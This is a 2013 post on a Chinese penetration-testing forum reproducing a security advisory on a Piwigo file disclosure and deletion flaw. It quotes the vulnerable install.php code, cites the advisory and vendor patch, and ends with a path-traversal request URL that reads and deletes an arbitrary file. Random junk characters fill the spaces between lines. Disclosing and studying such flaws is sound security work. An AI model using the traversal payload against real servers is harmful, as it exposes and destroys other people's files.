中国网络渗透测试联盟
标题:
Piwigo任意文件泄露和任意文件删除漏洞
[打印本页]
作者:
admin
时间:
2013-3-14 20:15
标题:
Piwigo任意文件泄露和任意文件删除漏洞
Piwigo是用PHP编写的相册脚本。
& E+ \7 f5 D7 w+ N7 p
5 t( A r4 z; U* F* v3 P0 E7 J! } M
Piwigo 2.4.6及其他版本没有正确验证install.php脚本的 'dl'参数值，在实现上存在安全漏洞，攻击者可利用这些漏洞查看受影响计算机上的任意文件，删除受影响应用上下文内的任意文件。
2 B% ~4 F# d! `3 \3 Q/ }
====================================================================
8 ]+ x2 S1 D: }* _5 o/ J
/install.php:
! ?- Y3 |$ j# e* w& W( c$ u" s
-------------
/ F! ~- X {& B. X0 o
113: if (!empty($_GET['dl']) && file_exists(PHPWG_ROOT_PATH.$conf['data_location'].'pwg_'.$_GET['dl']))
c* ^; N4 R) E8 {; U! {6 S
114: {
; t. o; E, P* X9 P2 k/ M+ f3 t
115: $filename = PHPWG_ROOT_PATH.$conf['data_location'].'pwg_'.$_GET['dl'];
4 q' P9 I, z& c! i/ {
116: header('Cache-Control: no-cache, must-revalidate');
4 Z; y) h- u- ~1 K. p. }/ `8 W
117: header('Pragma: no-cache');
, i: e; |5 M0 l0 P- k% R" e" v
118: header('Content-Disposition: attachment; filename="database.inc.php"');
1 R7 H3 A) g* r( T4 {
119: header('Content-Transfer-Encoding: binary');
6 \5 V' A% ?1 e2 ^
120: header('Content-Length: '.filesize($filename));
5 s( U. `9 V) M8 ~1 [
121: echo file_get_contents($filename);
Z# p& f. y" {3 \. x" L
122: unlink($filename);
0 ~' U1 l6 o; `, \; C+ B
123: exit();
# Y" N- R' I9 p
124: }
7 \0 P. d" }' ?/ z6 i
====================================================================
( e9 q2 p% k% ~6 H9 b$ Z
8 f6 o3 @1 a) m; i& E. s* s2 K, U
Tested on: Microsoft Windows 7 Ultimate SP1 (EN)
8 D4 B% f8 z" p
Apache 2.4.2 (Win32)
9 `- w/ e# W4 d
PHP 5.4.4
( T' Z8 F# P5 R* E0 h
MySQL 5.5.25a
3 Z8 F6 z! s; ^& M' f
N; a i a F
Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
( k2 ?' [5 K$ ~6 J3 {
@zeroscience
: ~9 O' q" y% I& ^8 m: ]
, I2 f4 `3 ]5 l: _. p. [3 u
Advisory ID: ZSL-2013-5127
/ S) O+ F1 `- Q( S: t" e4 V; \3 t1 N
Advisory URL:
http://www.zeroscience.mk/en/vulnerabilities/ZSL-2013-5127.php
+ O- x5 q4 q% d4 W* J8 f/ v8 U
Vendor Patch:
http://piwigo.org/bugs/view.php?id=2843
( W3 Y8 W3 j3 }5 x" K# F- e
, F8 O; q" k* C' V" k9 v1 K
15.02.2013
! ^; L9 `1 z# I& I( Y6 r6 @
; f" S8 N5 o& i
--
1 N- _/ Z" P0 r7 a- A9 o& F
http://localhost/piwigo/install.php?dl=../../../../../../lio_passwords.txt
" k0 ~$ `0 D$ R) b& o5 a: k
4 g/ F& C; T0 t; K3 q. W
欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/)
Powered by Discuz! X3.2